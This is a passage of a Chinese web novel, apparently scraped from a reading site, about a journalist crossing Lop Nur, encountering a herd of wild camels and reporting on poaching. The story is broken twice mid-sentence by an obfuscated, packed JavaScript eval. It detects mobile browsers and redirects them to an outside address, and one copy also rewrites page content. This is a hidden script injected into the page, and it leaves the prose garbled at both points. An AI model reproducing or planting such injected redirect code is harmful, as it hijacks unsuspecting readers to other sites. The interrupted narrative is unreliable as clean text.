“你在听罗布泊的血液循环,”老陈不知何时走来,“中科院去年用地震波探测,发现湖盆下有一个直径三百公里的淡水透镜体。就像眼泪干了,但悲伤还在体内流动。” 下午三时,他们抵达湖心标志点。那块简陋的水泥碑孤独地立在世界的中心,上面只有三个字:“湖心”。然而围绕石碑的盐壳上,刻满了密密麻麻的字迹—— 彭加木在此找水 1980.6.11 核试验场转移人员 1967.10.16 楼兰考古队 1901.3.8 丝绸之路商队公元329年秋 且末国流亡者公元前176年 最早的一条是篆书:“穆天子西巡至此命刻石以记”。字迹在盐壳上不是刻上去的,而是从内部生长出来的,像骨头愈合后的疤痕。 叶葆启跪下来触摸那些字。盐的触感冰冷而温热,像同时触摸死与生。他感到一阵眩晕,仿佛所有在此留下痕迹的灵魂都通过指尖涌进他的身体:戍卒的乡愁、探险家的狂热、科学家的困惑、流放者的绝望……太多了,多到他的记忆宫殿开始崩塌。 “坚持住,”李大夫给他注射葡萄糖,“你这是集体记忆过载。每个人的大脑都有防火墙,但罗布泊会黑进系统。” 老海鸥终于拿出了那卷珍藏二十一年的胶卷。他在湖心碑旁支起帐篷作为暗房,用携带的化学药剂开始冲洗。所有记者围在外面,像等待神谕。 一小时后,老海鸥捧着湿漉漉的照片走出来,泪流满面。照片上不是彭加木,而是一个背对镜头走向东方的人形,但那个影子里,重叠着无数人影:穿汉甲的士兵、牵骆驼的胡商、持测量仪的技术员、戴防毒面具的军人……所有曾穿越罗布泊的人,都在那个影子里。 “我明白了,”老海鸥的声音像是从很深的地方浮上来,“彭加木不是一个人。他是所有寻找者的集合体。所以他永远不会真正消失——只要还有人在这片土地上寻找,他就一直在。” 在湖心扎营的夜晚,叶葆启经历了记者生涯中最奇特的“采访”。 午夜时分,他被热醒——不是气温升高,而是某种记忆的热辐射。走出帐篷,看见老陈、老海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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1949年,残部穿越此地,一名军官留下半本《诗经》,夹着他女儿的照片。照片后被一只沙鼠衔去垫窝。 1972年,最后一批核试验撤离人员中,有个十八岁的技术兵偷偷埋下一封信,写给从未谋面的未婚妻。信纸是云母片,永远不会腐烂。 1996年,盗墓贼在此迷路,死前用最后的水拌盐,捏了一个小小的观音像。观音的面容是他母亲。 这些故事没有见证者,但罗布泊记得。而记者,就是让记忆重新获得见证的人。 叶葆启抬起头,发现天快亮了。蓝绿色的篝火渐熄,盐壳在晨光中恢复沉默。但有什么东西改变了——不是外界,是他记忆的拓扑结构。过去四十七年的所有采访碎片开始自动重组:青海的鸟鸣老人、三峡的移民、山西的矿工、东北的下岗职工……他们的故事原本散落在脑海里,现在突然连接成了另一张地图:一张关于“中国集体记忆”的地图。 “你拿到了,”老海鸥拍拍他的肩,“罗布泊给记者的真正礼物:不是素材,而是解码集体记忆的密钥。” 车队继续南行前,叶葆启独自走向湖心碑。他在盐壳上刻下自己的名字,但下一秒,字迹就被更多古老的名字覆盖——罗布泊不接受个人的署名,只承认集体创作的史诗。 他突然理解了彭加木“向东”的含义:不是地理方位,而是时间维度上的回溯与前瞻。向东,是向着文明记忆的源头,也是向着未来集体叙事的可能。记者就是那个永远“向东”的职业,在个人与集体、当下与历史、事实与记忆的交接带上,打一口永不干涸的“水井”。 车队启程时,叶葆启在日记本上写下最后一段话。这次字迹没有变异,完完全全是他自己的声音: 9月17日晨,离开湖心。 罗布泊不是空白,而是全息图。每一粒盐都储存着这片土地的全部记忆,就像全息图的每个碎片都能还原整幅图像。 记者亦然。我们每个人都是时代的全息碎片——采访过的每个人、见证过的每个事件、记录下的每个字,都储存着这个民族集体记忆的完整图谱。区别在于,有人终其一生没有解码自己携带的图谱。 感谢这片盐壳之地,它用极致的荒凉教会我:记忆不是负担,是引力。让个体不会飘散于虚无,让文明不会坠落于失重。 继续向南,继续记录。但我知道,真正的方向永远是“向东”——向着记忆的深井,向着故事的水源。 彭加木没有消失。他化作了所有寻找者的方向。 而我,才刚刚出发。 合上笔记本时,他感到前所未有的轻盈与沉重。轻盈是因为放下了对“独家”、“首发”的执念,沉重是因为明白了每篇报道都连接着千年的集体叙事。 前方的库姆塔格沙漠在晨光中泛起金红,像摊开的、等待书写的巨大纸卷。 叶葆启举起相机,不是拍风景,而是拍下自己映在车窗上的眼睛——那双眼睛里,此刻倒映着烽燧、盐壳、星图,以及所有即将被讲述的故事的雏形。 对讲机里传来老陈的声音:“前方有沙暴,所有人检查物资。记住,罗布泊的沙暴会带来两样东西:危险,以及被风从地底翻出的、埋藏千年的信件。” 叶葆启系紧安全带,手指拂过笔记本封皮。 他知道,真正的穿越刚刚开始。穿越的不仅是地理的“死亡之海”,更是记忆的“生命之洋”。而记者的使命,就是在这片海洋上,做一个永远“向东”的摆渡人。 车队迎着初升的太阳驶去,在盐壳上划出六道并行的轨迹。从高空看,那些轨迹恰似手掌的纹路——一只正在抚摸大地耳廓的、人类的手。 41. 第041章 驼影烙沙海 盐壳在车轮下发出碎裂的哀鸣,那声音像是千万片玻璃同时在月光下被碾碎——虽然此刻没有月光,只有白炽的太阳高悬,像一只熔化的金钵倒扣在天穹上。离开湖心标志点已有三日,采访队的五辆越野车如疲惫的甲虫,在罗布泊的皮肤上缓缓爬行。 叶葆启坐在第二辆车的副驾位上,隔着墨镜看出去,世界被染成一种浑浊的茶色。他的舌尖抵住上颚,试图从干燥的口腔黏膜上刮下一点湿润——这动作他今天已重复了三百二十七次,每次都以失败告终。水壶就挂在手边,但他不敢多喝,队长的话在耳边回响:“在这里,水不是饮料,是命。” “海市蜃楼。”司机老陈突然开口,声音沙哑如磨砂纸。 前方地平线上,一片蔚蓝的湖泊正在荡漾,湖岸边甚至有摇曳的芦苇。叶葆启眨了眨眼,那湖泊依旧在那里,诱惑着干渴的旅人。他想起祖父说过的话:在沙漠里,眼睛是最会撒谎的器官。 “昨天小张差点开过去,”老陈咧开干裂的嘴唇笑了,“要不是吴向导喊住,咱们现在已经在盐壳里挖车了。” 吴文港,车队的向导,此刻正坐在头车里。他是个蒙古族汉子,五十岁上下,脸被风沙雕刻成罗布泊的地形图——沟壑纵横,色泽赭红。他很少说话,眼睛却总是眯着,像在倾听这片荒漠低语。有人说他能听懂沙粒摩擦的语言,能闻出三十里外地下水的味道。 第三天下午,车队拐进一片古河床。 这里的景象忽然变了。坚硬的盐壳让位给柔软的沙地,沙地上散落着枯死的胡杨,它们扭曲的枝干伸向天空,像绝望者最后的手势。还有一些红柳包,那是植物用几十年时间将沙粒和枯枝编织成的坟墓——活着时固沙,死后成丘。 吴文港的头车突然刹住了。 整个车队停下,发动机的轰鸣逐一熄灭。寂静如潮水般涌来,那是一种有重量的寂静,压得人耳膜发胀。叶葆启听见自己的心跳,听见血液在太阳穴奔流的声音,甚至听见汗水从毛孔渗出、瞬间蒸发的细微嘶响。 吴文港下了车,没有关门——在这里,关门声能传出十里。他举起望远镜,那个铜框老式望远镜据说是他父亲留下的,镜片上刮痕累累,像是岁月的皱纹。他看了很久,久到叶葆启以为他变成了一尊盐雕。 “来了。”吴文港终于放下望远镜,声音轻得如同叹息,“野骆驼。很多。” “很多”这个词从他嘴里说出来,带着某种神圣的意味。 接下来的十分钟,车队像执行军事任务般缓慢移动,停在一座巨大的红柳包后。队员们匍匐着爬上沙丘,动作笨拙如初生的骆驼崽。叶葆启的膝盖陷入沙中,烫得他几乎跳起来——地表温度至少有七十度。 然后他看到了。 在古河床的对岸,越过一片起伏的沙梁,它们就在那里。 起初只是些移动的斑点,黄褐色融入黄沙,若不是那独特的韵律感,很容易被误认作飘忽的旋风。但随着眼睛逐渐适应,斑点开始分化、成形——修长的脖颈,挺拔的双峰,从容的步伐。 “我的老天爷......”摄影记者的声音在颤抖,他的相机已经举起来,快门声如饥渴的吞咽。 叶葆启没有立刻去数,他先是被那种气势震慑了。这不是动物园里慵懒的家骆驼,也不是旅游景点供人骑乘的牲畜。这些生灵身上有一种古老的东西,一种从丝绸之路时代就流淌在血脉里的记忆。它们的每一步都踩在时间的节拍上,不急不缓,仿佛知道这片沙漠所有的秘密。 “五十二头。”吴文港不知何时趴在了他身边,声音里有一种压抑的激动,“我数了三遍,五十二。” 五十二峰野骆驼。 它们正在干涸的河床里觅食,长而灵活的嘴唇精准地掠过低矮的盐生植物,避开那些带刺的部分。几头公驼站在外围,高昂着头,如哨兵般警惕。它们的眼睛大而温润,睫毛浓密得像帘幕,在眼睑投下阴影。叶葆启突然想到,这样的眼睛是为了在沙暴中保护视力进化而来的——自然的选择在这片土地上写下了太多这样的注解。 一头母骆驼身边跟着幼崽,小家伙的毛色比成年骆驼浅许多,近乎米白。它不安分地蹦跳着,用头顶母亲的侧腹,母骆驼则温柔地用脖颈回蹭。这个简单的动作让叶葆启喉头一紧——在这“死亡之海”的中心,生命依然在延续,以最朴素的方式。 阳光从西侧斜射过来,为每头骆驼镶上金边。它们的身影被拉长,投在沙地上,那些晃动的影子仿佛比实体更加真实,像是从地底浮上来的古老魂灵。叶葆启有种错觉:他看到的不是一群动物,而是一支驼队,一支穿越了时间的商队,从汉唐走来,驼铃无声,却载着丝绸、瓷器、香料和经文。 “它们在吃盐节草,”吴文港低声解说,他的呼吸吹动了沙粒,“这种草的根能扎到地下十米,找到水分。野骆驼的鼻子能嗅到三十里外的水源,它们的脚掌宽大,能在流沙上行走而不下陷。看那头领头的公驼——” 叶葆启顺着他指的方向看去。那是一头格外高大的骆驼,左耳有个V形缺口,像是某种古老的标记。它比其他骆驼更加警觉,头不停地转动,鼻孔张合,捕捉风中传来的信息。 “它至少三十岁了,”吴文港说,“我十年前见过它一次,那时它就是这个族群的领袖。看到它耳朵上的缺口了吗?那是狼咬的。它年轻时为保护幼崽,和狼群搏斗留下的。” “您记得每头骆驼?”叶葆启惊讶地问。 “记得一些。”吴文港的眼睛没有离开望远镜,“就像你记得邻居的脸。” 就在这时,头驼突然停止了咀嚼。它转向车队隐藏的方向,尽管隔着两公里,尽管有红柳包遮挡,它似乎还是察觉到了什么。整个骆驼群安静下来,所有的头都转向同一个方向。 时间凝固了。 叶葆启屏住呼吸,他能听见自己的心跳如擂鼓。那一刻,他感到自己不是观察者,而是被观察者——被五十二双古老的眼睛审视着,评判着。这些眼睛看过楼兰的繁荣,看过丝路的兴衰,看过探险队的白骨,看过核试验的火光。现在,它们看着他,一个带着相机和笔记本的闯入者。 头驼发出一声低鸣,那声音低沉而富有穿透力,不像家骆驼的嘶叫,更像某种号角。然后,它开始移动。 整个族群随之转身,向西边的沙梁走去。没有慌乱,没有奔跑,它们保持着来时的从容,仿佛这不是逃避,而是一次计划中的迁徙。小骆驼被护在中间,公驼殿后。它们爬上沙梁,一头接一头,在金黄色的沙脊上留下剪影。 最后一头骆驼消失前,回头望了一眼。 叶葆启确信,那头骆驼——耳朵有缺口的头驼——确实回头望了一眼。它的眼神穿越两公里的热浪,直直地落在他身上。那不是野兽的眼神,那是某种更古老、更智慧的存在。 然后,它们消失了。 从发现到消失,不到三十分钟。沙梁后只留下一串串蹄印,深而清晰,像大地的印章。 “它们知道我们在。”摄影记者喃喃道,相机还举在眼前,“但它们允许我们看了这么久。” 吴文港慢慢站起来,拍掉身上的沙。“它们习惯了。”他说,“这些年,保护站的人常来,不伤害它们。它们学会了区分枪和相机。” 回营地的路上,没人说话。每人都沉浸在刚才的震撼中。叶葆启看着窗外飞逝的风景——其实没有风景,只有无尽延展的荒芜——但此刻他觉得这片荒漠不一样了。它不再是不毛之地,而是某个巨大生命的躯壳,而那些野骆驼,是这躯壳中流动的血液。 当晚,他们在古河道旁扎营。 月亮升起来了,硕大、苍白,像死去的太阳。没有城市光污染,星空低垂得仿佛触手可及。银河横跨天际,如此清晰,叶葆启几乎能看见其中旋转的星云。 篝火燃起——用的是自带的燃气炉,吴文港严禁采集枯死的植物。“在罗布泊,每一株死去的植物都是纪念碑。”他说。 队员们围坐一圈,罐头食物在炉上加热,散发出久违的香气。但没人急着吃,大家还在谈论白天的遭遇。 “五十二头,这太不可思议了。”队长江明说,他是这次采访的领队,一个资深的环境记者,“我查过资料,野骆驼的典型族群规模是六到二十头。五十二头,这可能是迄今为止记录到的最大族群。” “它们在聚会。”吴文港忽然说。 所有人都看向他。火光在他脸上跳跃,那些皱纹时深时浅,像变换的地形。 “聚会?”叶葆启问。 “野骆驼每年会有几次大聚会,”吴文港往炉子里添了块燃料,“通常在古老的水源地。不同族群的骆驼会聚集,交流信息——哪里有水,哪里有食物,哪里危险。然后它们再分开,把信息带回各自的族群。” “像部落大会?”摄影记者感兴趣地问。 “更像老人的茶话会。”吴文港难得地笑了笑,“骆驼的寿命能到五十年,它们记得很多事情。那头耳朵有缺口的头驼,它可能还记得二十年前的某场沙暴,或者十五年前某个干涸的泉眼。” 他停下来,望着远处的黑暗。那里,野骆驼消失的方向,此刻只有月光下的沙丘,如凝固的波浪。 “我父亲也做过向导,”吴文港突然开始讲述,声音低沉,“他是罗布人,最后的罗布人之一。他说,野骆驼不是动物,是沙漠的魂魄。当年楼兰消亡时,是野骆驼带着最后的幸存者找到了新的水源。它们认识所有的秘密通道,所有的地下暗河。” 叶葆启迅速打开笔记本,借着火光记录。墨水的流动有些不畅,笔尖在纸上划出沙沙的声音,像春蚕食叶。 “六十年代,核试验场建立,”吴文港继续说,“大批野骆驼死亡。但总有一些活下来,躲进最荒凉、最核心的区域。我父亲说,它们是在为人类赎罪——人类造了孽,但野骆驼还守着这片土地,不让它彻底死去。” 炉火噼啪作响,火星升上夜空,与星光混在一起。 “我年轻时不信这些,”吴文港的眼睛映着火光,“我觉得骆驼就是骆驼,哪有什么魂魄。直到有一次,我独自在沙漠里迷路了,水喝光了,车也陷在沙里。我以为我要死了。第三天,我遇到一头野骆驼,独行的公驼。它看着我,然后开始走,走一段就回头看看我。我跟着它,走了整整一天,找到了一个盐水泉——人不能喝,但骆驼能。那泉边有保护站设的水窖,我活下来了。” 他顿了顿:“那头骆驼的左耳,有个V形缺口。” 所有人都屏住了呼吸。 “就是今天那头头驼?”摄影记者轻声问。 吴文港点点头:“十年了,它还认得我。今天它回头那一眼,是在打招呼。” 这个故事让夜晚的空气变得不同了。叶葆启感到背上起了一阵颤栗,不是寒冷,而是某种更深层的共鸣。在这个科学与理性统治的时代,在这片被卫星测绘了无数遍的土地上,依然存在着无法被数据解释的连接。 “野骆驼会做梦吗?”队里最年轻的记者小周突然问,他是个刚毕业的生物学硕士。 吴文港看了他很久,久到小周以为自己问了个愚蠢的问题。 “会。”向导终于回答,“我见过睡觉的野骆驼,它们的眼皮在快速颤动,像人做梦时一样。有时候,它们的腿会轻轻抽动,像在奔跑。也许它们在梦中回到丝绸之路,背上载着丝绸,耳边响着驼铃。也许它们在梦中看到了绿色的罗布泊,湖水荡漾,鱼鸟成群。” 那天晚上,叶葆启很晚才睡。 他躺在睡袋里,帐篷的帆布被风吹得啪啪作响。闭上眼睛,那些骆驼又出现了,在意识的黑暗背景上缓缓行走,如移动的星座。他想起吴文港的话:“这些家伙,是这片土地的真正主人。我们人类,只是过客。” 凌晨时分,叶葆启被一种声音惊醒。 那是一种低沉的共鸣,来自大地深处,又像是从极远处传来的雷鸣。他钻出帐篷,看见吴文港已经站在沙丘上,面向西方。 “是什么声音?”叶葆启走过去问。 “沙鸣。”吴文港没有回头,“沙丘在唱歌。只有在特定的湿度、特定的风速下才会出现。老人们说,这是沙子在讲述古老的故事。” 他们并肩站着,听那低沉悠长的鸣响。月光下,沙丘如银色的海洋,波光粼粼。叶葆启突然有种冲动,想脱掉鞋子,赤脚走进那片沙海,让沙粒漫过脚背,听听它们到底在说什么。 “您为什么一直做向导?”叶葆启问,“这工作太苦了。” 吴文港沉默了一会儿。“我父亲临终前说,罗布泊需要见证者。不是科学家带着仪器来测量,不是军人带着地图来勘察,而是能听懂它语言的人。野骆驼是它的声音,而我是翻译。” 他弯腰抓起一把沙子,让沙粒从指缝流下:“每粒沙都记得一些事情。风的形状,雨的味道,骆驼的蹄印,人的足迹。我是帮它们记住的人。” 第二天,车队继续向南。 接下来的旅程中,叶葆启开始以不同的眼睛观察这片荒漠。他不再只看到荒芜,而是看到时间的层次——最表层是现代的轮胎印,稍深处是考古队的探方,再深处是丝绸之路的驼道,最深处是远古湖泊的波痕。 第十天,他们发现了偷猎者的踪迹。 那是在一片风蚀雅丹区,红色的土丘如城堡耸立。吴文港首先看到了车辙——新鲜的,不超过两天。然后他们找到了营地遗迹:散落的烟头,压扁的罐头,还有...弹壳。 “7.62毫米步枪弹,”江明捡起一枚弹壳,脸色阴沉,“军用制式。” 最令人心寒的是,他们在不远处发现了一头野骆驼的骨骸。尸体已经被秃鹫和沙狐清理干净,只余白骨,在阳光下白得刺眼。从骨骼大小判断,这是一头成年公驼。头骨上有两个孔洞,一进一出。 吴文港跪在白骨旁,久久没有说话。他的手轻轻拂过骆驼的肋骨,动作温柔如抚摸新生儿。叶葆启看见他的手在颤抖。 “是它,”吴文港终于开口,声音嘶哑,“右后腿有旧伤,骨折后愈合的痕迹。我认识它,它属于另一个族群,通常活动在北边。它左耳上有独特的卷毛,像朵小花。”他指着头骨一侧,“这里,原本有那簇毛。” 所有人都沉默了。风穿过雅丹土丘,发出呜咽的声音。那头曾经活生生的骆驼,如今只剩下一具骨架,而盗猎者甚至没带走多少肉——从啃食痕迹看,他们只割走了驼峰和部分后腿,其余就扔给了食腐动物。 “为什么?”小周愤怒地问,“野骆驼的肉并不好吃,又柴又膻。皮也不如家骆驼值钱。为什么要杀它们?” “ trophy hunting(战利品狩猎)。”江明沉重地说,“有些人愿意花大价钱,只为说自己猎杀过世界上最珍稀的动物之一。一头野骆驼在黑市上能卖到数十万。” 吴文港站起来,他的眼睛红了,但不是因为悲伤,而是愤怒。“这不是第一次,”他说,“去年我们发现了三具尸体。保护站的人手不足,巡逻范围太大。盗猎者知道在哪里设伏,知道骆驼的迁徙路线。” 那天晚上,采访队的气氛完全不同了。白天的震撼和感动,此刻被一种沉重的责任感取代。叶葆启在日记中写道: “今天我见到了美的反面。如果说昨日那五十二峰野骆驼是生命的赞歌,那么今日这具白骨就是死亡的告示。在罗布泊,美与残酷只有一日之隔。盗猎者的子弹可以轻易击碎我们眼中的奇迹,让活生生的传奇变成一堆枯骨。记者之笔不仅是记录美的工具,更应该是抵抗野蛮的武器。” 第二天,他们改变计划,提前前往最近的自然保护站。 保护站设在阿尔金山北麓的一个绿洲边缘,只有三间平房和一个雨水收集窖。站长姓李,是个晒得黝黑的中年人,见到吴文港就用力拥抱。 “老吴!你又带人进来了?” “李站,有紧急情况。”吴文港简要说明了盗猎事件。 李站长的表情严肃起来。他带他们去看监控室——如果那能叫监控室的话。墙上贴着一张手绘的罗布泊地图,上面用不同颜色的图钉标记着野骆驼的观测点。一台老式无线电设备,几架野外摄像机,这就是全部家当。 “我们有五个巡逻队员,要负责四万平方公里的区域,”李站长苦笑,“每人一辆摩托车,每月配给八十升汽油。盗猎者开的是改装越野车,卫星电话,有时候还有无人机侦察。我们是在用长矛对抗火炮。” 叶葆启看着地图上密密麻麻的标记点,每个点都代表一次目击记录,一个生命的证据。而在一些区域,贴着黑色的小骷髅标记——盗猎现场。 “这是去年的记录,”李站长指着一片区域,“我们在这里发现了四具尸体。这是今年春天的,两具。盗猎有季节性,通常春秋两季,那是骆驼迁徙的时候。” “为什么不申请更多支持?”江明问。 “申请了,年年申请。”李站长摊手,“但保护野骆驼不像保护大熊猫那样吸引眼球。罗布泊太远,太苦,没有明星来代言,没有短视频能火爆。我们每年的经费刚够发工资和买汽油。” 吴文港突然说:“李站,把最近三年的盗猎点标记给我看看。” 李站长在地图上用红笔圈出十几个点。吴文港凝视良久,然后拿出自己的笔记本,翻到某一页,上面是手绘的骆驼迁徙路线图。 “看,”他用手指连接那些红圈,“盗猎点都集中在三个区域——孔雀河古河道、库姆塔格沙垄北缘、还有阿尔金山泉水带。这不是随机作案,他们知道骆驼必经之路。” “而且时间,”李站长补充,“都是新月前后。没有月光,便于隐蔽行动。” “内鬼。”吴文港吐出两个字。 房间里安静下来。远处传来风声,吹得铁皮屋顶嗡嗡作响。 “你是说,保护系统内部有人......”江明没有说完。 “不一定是我们的人,”吴文港说,“可能是牧民,是矿工,是任何了解骆驼习性又急需用钱的人。盗猎者付钱买信息,一条可靠的情报值几千块。” 叶葆启感到一阵寒意。他想起了那五十二峰骆驼,想起了那头耳朵有缺口的头驼。它们信任这片土地,遵循着祖先传下的路线,却不知道有人类正用这些知识来设下死亡陷阱。 那天下午,采访队决定在保护站多留一天,帮助整理资料,制定报道方案。叶葆启主动请缨,要写一篇深度报道,不仅讲野骆驼的美丽,更要讲它们面临的威胁。 “要写得让人心痛,”江明说,“心痛到读者坐不住,要捐款,要写信,要做点什么。” 夜晚,叶葆启坐在保护站院子里写作。桌上点着汽灯,飞蛾围绕着光焰飞舞,在笔记本上投下晃动的影子。他写道: “在罗布泊的星空下,我听过沙丘唱歌,看过五十二峰野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904193|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆驼如帝王般巡行。我也见过被偷猎者杀害的骆驼白骨,在烈日下白得刺眼。这片土地同时承载着生命的奇迹与人类的残忍,而后者正在蚕食前者。 “野骆驼不是普通的动物。它们是活着的化石,见证了丝绸之路的繁华与湮灭;它们是沙漠的魂魄,掌握着地下水源的秘密;它们是罗布泊最后的原住民,而我们都是后来的闯入者。 “然而,它们的生存空间正在被压缩。盗猎、采矿、非法旅游、气候变化......每一样都可能成为压垮这个珍贵种群的最后一根稻草。目前,全球野生双峰驼仅存不足一千峰,比大熊猫更加濒危。 “我们该怎么办? “首先,扩大自然保护区范围,设立更多保护站。其次,增加巡逻力量和装备,用科技手段辅助保护——无人机、卫星追踪、智能摄像头。第三,严厉打击盗猎和非法贸易,提高违法成本。第四,加强公众教育,让更多人了解野骆驼的价值。 “但这都需要钱,需要关注,需要政治意愿。 “今晚,当我仰望罗布泊的星空,我想起那头耳朵有缺口的头驼。它回头看我那一眼,像是在询问:你们人类会让我们活下去吗? “这个问题,需要我们用行动来回答。” 写到这里,叶葆启停下笔。汽灯的火焰跳动了一下,一只飞蛾扑进灯罩,发出轻微的噼啪声。他抬起头,看见吴文港站在院门口,望着远方的黑暗。 “吴师傅,”叶葆启叫他,“您来看我写的东西吗?” 吴文港走过来,拿起笔记本。他的阅读速度很慢,一个字一个字地读,仿佛要把每个字都嚼碎了咽下去。读完后,他沉默了很久。 “写得很好,”他终于说,“但漏了一点。” “什么?” “野骆驼自己的声音。”吴文港坐下,他的脸在汽灯光下半明半暗,“你写了人类应该怎么做,但没写骆驼需要什么。它们不需要人类的怜悯,需要的是尊重。它们不需要被关进保护区像囚犯,需要的是自由迁徙的权利。它们不需要人类替它们决定未来,需要的是人类停止破坏它们的现在。” 叶葆启怔住了。作为记者,他习惯了从人类中心的角度思考问题——保护野生动物是为了生态平衡,为了科学研究,为了子孙后代。但吴文港提出了一个更根本的问题:动物自身的权利。 “我父亲说过一个罗布人的古老传说,”吴文港望着汽灯的光晕,“最初,人类和骆驼是兄弟,共享这片土地。人类负责建造房屋,骆驼负责寻找水源。后来人类变得贪婪,想要独占水源,兄弟反目。骆驼离开了人类,走进了沙漠最深处,带走了寻找水源的秘密。 “传说最后说,只有当人类重新学会尊重骆驼,把它们当作平等的兄弟而非财产,骆驼才会回来,分享水源的秘密。那时,罗布泊会再次变绿,楼兰会从沙中重生。” 这个传说在汽灯的光晕中弥漫开来,带着某种预言的力量。叶葆启感到,这不仅仅是一个关于野骆驼的故事,而是关于人类与自然关系的隐喻。 “我会把传说写进去。”他说。 吴文港点点头,站起来准备离开,又停住了。“你知道今天是什么日子吗?” 叶葆启想了想,摇摇头。在沙漠里,时间变得模糊,只有日出日落,没有星期和日期。 “农历七月十五,”吴文港说,“中元节,鬼节。罗布人相信,这一天,沙漠中的魂灵会显现。那些死去的骆驼,那些消失的罗布人,都会在月光下游荡。” 他指向远方的沙丘:“如果你现在出去,仔细听,也许能听到驼铃声。不是风铃,是真的驼铃,从很久以前传来的。” 叶葆启没有出去。但他躺在床上时,确实听到了什么——或许是风声穿过雅丹的孔洞,或许是沙粒滚落沙丘,但在他听来,那确实像是极远处传来的驼铃,清脆、孤独、悠长。 第二天,采访队离开保护站,继续未完的旅程。 往后的日子里,他们再没有遇到那么大规模的野骆驼群。但偶尔,会在黎明或黄昏,看见远处沙梁上单个或成对的骆驼剪影。每次,吴文港都会停下车,让大家安静地看,直到它们消失。 “它们在看着我们,”他说,“看我们是否值得信任。” 旅程的最后三天,车队遭遇了一场沙暴。 那是在下午,天空突然变黄,然后变红,最后变成一种诡异的紫色。风毫无征兆地狂暴起来,卷起沙粒打在车上,发出暴雨般的声音。能见度降到不足五米,车队不得不停下,用绳索将车辆连在一起,防止被吹散。 大家在车里坐了六个小时,听着沙暴的咆哮。那声音像是千万头野兽在怒吼,又像是大地本身在发怒。叶葆启紧紧抱着相机包——里面装着野骆驼的照片——心想如果车被埋了,这些影像将成为最后的见证。 沙暴在午夜平息。 当叶葆启推开车门时,世界完全变了样。沙丘移动了位置,车辙被完全抹平,仿佛他们从未经过这里。月亮重新出现,照着这片被重新塑造的沙漠,一切都是新的,一切都古老如初。 吴文港站在沙地上,抓了一把沙,让它从指缝流下。“每次沙暴后,罗布泊都会忘记一些事情,”他说,“忘记车辙,忘记脚印,忘记不愉快的记忆。但对骆驼来说,沙暴只是日历上的一页翻过,它们永远记得路。” 第二天,他们终于走出了罗布泊核心区。 当第一抹绿色出现在地平线上——那是一丛顽强的骆驼刺——队员们欢呼起来。叶葆启没有欢呼,他回头望去,那片金黄色的海洋正在后退,重新变得神秘、遥远、不可触及。 在最后一道沙梁上,他仿佛又看到了它们:五十二峰野骆驼,排成一列,缓缓走向沙漠深处。那头耳朵有缺口的头驼在最后,它停下来,回头望了一眼。 那一眼穿越了时间与空间,烙印在叶葆启的记忆里。 三个月后,一个杂志杂志以封面故事的形式刊登了叶葆启的系列报道《沙海魂踪:罗布泊野骆驼生存实录》。报道分为三篇:第一篇《五十二峰》,描写了那次震撼的相遇;第二篇《白骨警讯》,揭露了盗猎问题;第三篇《共生之路》,探讨保护策略和人与自然的关系。 报道配发了摄影记者拍摄的野骆驼照片,其中一张成为经典:夕阳下,五十二峰骆驼的剪影印在沙梁上,如一幅古老的岩画。那头耳朵有缺口的头驼正在回头,眼神深邃如古井。 报道引发了意想不到的反响。保护野骆驼的捐款在两周内超过五百万元;三家科技公司主动联系保护站,捐赠无人机和监控设备;国家林业局宣布扩大罗布泊自然保护区范围,增加巡逻力量;更重要的是,公众开始关注这个曾经陌生的物种。 一年后,叶葆启收到吴文港寄来的信。信很短,字迹粗犷: “叶记者,最近盗猎案下降了60%。新来的巡逻队员很年轻,但很有干劲。上个月,我们在孔雀河古河道又看到了一个大族群,六十三峰,包括十三头幼崽。那头耳朵有缺口的老驼还在,它看起来很好。李站长说,你写的报道被翻译成英文,登在了国际保护杂志上。谢谢你。罗布泊记得。” 随信附了一张照片:晨曦中,一群野骆驼正在饮水,水面倒映着它们的身影。照片背面,吴文港用铅笔写了一行字:“它们在喝水,也在喝光。” 叶葆启把照片装在相框里,放在书桌上。每当写作遇到瓶颈,他就会看看这张照片,想起那片沙漠,那些骆驼,那个人。 多年以后,当叶葆启已经退休,他收到一个包裹,里面是一本新出版的摄影集《罗布泊:最后的荒野》。翻到中间一页,他停住了。 那是一张航拍照片:在浩瀚的沙海中,一行骆驼的蹄印蜿蜒向前,清晰而坚定,如大地的掌纹。图片说明写道:“野骆驼的迁徙路线,千年未变。” 在照片下方,有一行小字: “献给所有记得的人。沙漠不会遗忘,生命自有出路。” 叶葆启合上画册,望向窗外。城市在夕阳下熠熠生辉,车流如河。但在那片光芒之外,在遥远的西方,有一片沙海,沙海中有骆驼在行走,脚步从容,如同时针划过时间的表盘。 他想起吴文港的话:“这些家伙,是这片土地的真正主人。我们人类,只是过客。” 也许,真正的主人不是人类,也不是骆驼,而是时间本身。而我们,无论是人还是骆驼,都只是时间中的过客,在沙地上留下暂时的足迹,等待下一场风来将它们抹去。 但有些足迹,会留在心里,成为灵魂的地图,指引我们找到回家的路——无论家是一片绿洲,还是一颗在荒漠中依然跳动的心。 夜色渐深,叶葆启打开台灯,在日记本上写下最后一段: “罗布泊教会我一件事:在最荒芜的地方,生命依然能找到出路;在最绝望的时刻,希望依然会倔强生长。而记者的使命,就是见证这些出路与生长,记录下光如何在黑暗中凿出一丝缝隙。那五十二峰野骆驼,它们不仅行走在沙海上,更行走在时间的河流中。它们的每一次呼吸,都是对死亡的抵抗;它们的每一个蹄印,都是对虚无的否定。而我,有幸成为这一幕的见证者,这本身就是最大的馈赠。” 他停下笔,闭上眼睛。 在意识的黑暗中,驼铃声再次响起,清脆、孤独、悠长,从遥远的沙海传来,穿越时间和空间,在他的心里回荡,回荡,直到与心跳合而为一。 42. 第042章 盐泽记忆 